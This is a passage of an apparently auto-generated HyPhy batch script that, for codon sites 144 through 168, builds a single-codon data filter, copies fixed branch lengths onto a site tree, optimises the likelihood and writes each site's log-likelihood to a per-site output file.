assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "144\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 145...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "432,433,434", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 145");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "145\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 146...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "435,436,437", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 146");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "146\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 147...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "438,439,440", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 147");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "147\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 148...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "441,442,443", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 148");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "148\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 149...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "444,445,446", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 149");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "149\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 150...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "447,448,449", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 150");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "150\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 151...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "450,451,452", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 151");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "151\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 152...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "453,454,455", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 152");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "152\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 153...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "456,457,458", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 153");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "153\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 154...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "459,460,461", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 154");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "154\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 155...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "462,463,464", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 155");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "155\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 156...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "465,466,467", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 156");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "156\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 157...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "468,469,470", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 157");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "157\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 158...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "471,472,473", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 158");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "158\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 159...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "474,475,476", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 159");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "159\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 160...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "477,478,479", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 160");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "160\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 161...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "480,481,482", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 161");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "161\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 162...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "483,484,485", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 162");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "162\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 163...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "486,487,488", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 163");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "163\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 164...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "489,490,491", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 164");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "164\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 165...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "492,493,494", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 165");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "165\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 166...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "495,496,497", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 166");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "166\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 167...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "498,499,500", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 167");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "167\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 168...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "501,502,503", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 168");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "168\t", sitemlestimates[1][0], "\n");
